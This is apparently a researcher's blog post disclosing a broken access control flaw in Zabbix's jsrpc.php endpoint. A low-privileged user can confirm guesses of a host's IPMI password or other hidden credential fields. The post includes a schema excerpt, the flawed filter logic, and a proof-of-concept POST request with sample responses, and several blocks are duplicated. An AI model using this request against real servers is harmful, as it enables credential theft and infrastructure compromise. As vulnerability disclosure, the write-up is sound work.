August 24, 2026
IPMEye: Exfiltrating IPMI credentials in Zabbix
Thoughts

By Dennywise
2 min read
When I first encountered this behavior, I suspected this was an SQL injection since it affects the database and the vulnerability happens in a database query. You would think the same, right? But no, this is not an SQL injection and it affects the database :) There is no SQL query manipulation, the query itself here is perfectly safe and valid. However, the vulnerability is a Broken Access Control (BAC). As low-privileged users, we can essentially ask the server, "is the IPMI password of this host 'X'?" and the server responds with a boolean true/false. I was a little bit surprised, what could cause this in an SQL query? Then I dove inside the source code.
Technical Analysis
I started with a black-box approach as usual. While analyzing the web interface I noticed that auto-complete fields and dropdown menus communicate with the jsrpc.php endpoint. One request to that endpoint triggered my senses. That request used the multiselect.get method and passed a filter array to search for hostnames. when reviewing vjsrpc.php, I saw this code:
method=multiselect.get&object_name=hosts&filter[name]=Zabbixmethod=multiselect.get&object_name=hosts&filter[name]=ZabbixFollowing a classic offensive code review instinct, I wondered: how does the backend validate this input? And this was the point I decided to dive into the source code, right to the point where API constructs SQL queries from the user input. I discovered that Zabbix relies on a massive, centralized database schema array (found in schema.inc.phpor returned byDB::getSchema()). This array maps every table and column in the application. Here is the exact schema for the hosts table:
// Snippet from Zabbix Database Schema
'hosts' => [
'key' => 'hostid',
'fields' => [
'hostid' => [
'null' => false, 'type' => DB::FIELD_TYPE_ID, 'length' => 20
],
'host' => [
'null' => false, 'type' => DB::FIELD_TYPE_CHAR, 'length' => 128
],
// ... [snip] ...
// THE JUICY OTHER TARGETS (columns)
'ipmi_password' => [
'null' => false,
'type' => DB::FIELD_TYPE_CHAR,
'length' => 20,
'default' => ''
],
'tls_psk' => [
'null' => false,
'type' => DB::FIELD_TYPE_CHAR,
'length' => 512,
'default' => ''
],
// ... [snip] ...
]
]// Snippet from Zabbix Database Schema
'hosts' => [
'key' => 'hostid',
'fields' => [
'hostid' => [
'null' => false, 'type' => DB::FIELD_TYPE_ID, 'length' => 20
],
'host' => [
'null' => false, 'type' => DB::FIELD_TYPE_CHAR, 'length' => 128
],
// ... [snip] ...
// THE JUICY OTHER TARGETS (columns)
'ipmi_password' => [
'null' => false,
'type' => DB::FIELD_TYPE_CHAR,
'length' => 20,
'default' => ''
],
'tls_psk' => [
'null' => false,
'type' => DB::FIELD_TYPE_CHAR,
'length' => 512,
'default' => ''
],
// ... [snip] ...
]
]When the dbFilter() function processes the filterarray user input, it acts as a gatekeeper. However, its only job is to check if the provided column name exists in the schema array defined above. So when I send filter[ipmi_password]=someting, backend logic does the following:
- "Does the
hoststable exist? Yes." - "Does the
ipmi_passwordcolumn exist in the schema for thehoststable? Yes." - "Does the user have read access to this host? Yes." (As a low-privileged monitoring user, you are only allowed to see the host's basic stats like CPU/RAM usage).
And as you can see, there is no access control in columns. I mean, the application never asks "Is this user authorized to query the ipmi_passwordcolumn?"
It perfectly escapes the input, preventing SQL injection and appends it to the WHERE clause. Because the API strips out sensitive fields from the final JSON response using unsetExtraFields. So I wasn't able to read the password in the response body. But this is not how it ends.
I tried to put some password guesses into the filter array, filter[ipmi_password]=guess and the response became a true/false indicator. If it returns the host ID, that means true. If it returns an empty array, that means false. So, just like that, an innocent auto-complete endpoint turned into a data exfiltration point.
Proof of Concept
- Edit a monitored host as an admin and set an IPMI password.
- Login as a low-privilege user that has read permissions for the host's group.
- Send the following POST request. Content-Type:application/x-www-form-urlencoded is enforced in order to bypass the JSON parameter validations. Otherwise, response will always be empty.
POST /zabbix/jsrpc.php?type=11 HTTP/1.1
Host: <ZABBIX_HOST>
Content-Type: application/x-www-form-urlencoded
Cookie: zbx_session=<LOW_PRIV_SESSION_COOKIE>
method=multiselect.get&object_name=hosts&filter[ipmi_password]=<password attempt>POST /zabbix/jsrpc.php?type=11 HTTP/1.1
Host: <ZABBIX_HOST>
Content-Type: application/x-www-form-urlencoded
Cookie: zbx_session=<LOW_PRIV_SESSION_COOKIE>
method=multiselect.get&object_name=hosts&filter[ipmi_password]=<password attempt>- Responce behavior:
- True Response Example:
{"jsonrpc":"2.0","result":[{"name":"Zabbix server","id":"10084"}]} - False Response Example:
{"jsonrpc":"2.0","result":[]}
Impact
Low-privileged users can exfiltrate restricted, cleartext hardware and service passwords through enumeration, leading to physical infrastructure compromise and lateral movement. This issue affects all hidden credential fields as database table objects in schema.inc.php.
Exploit repository: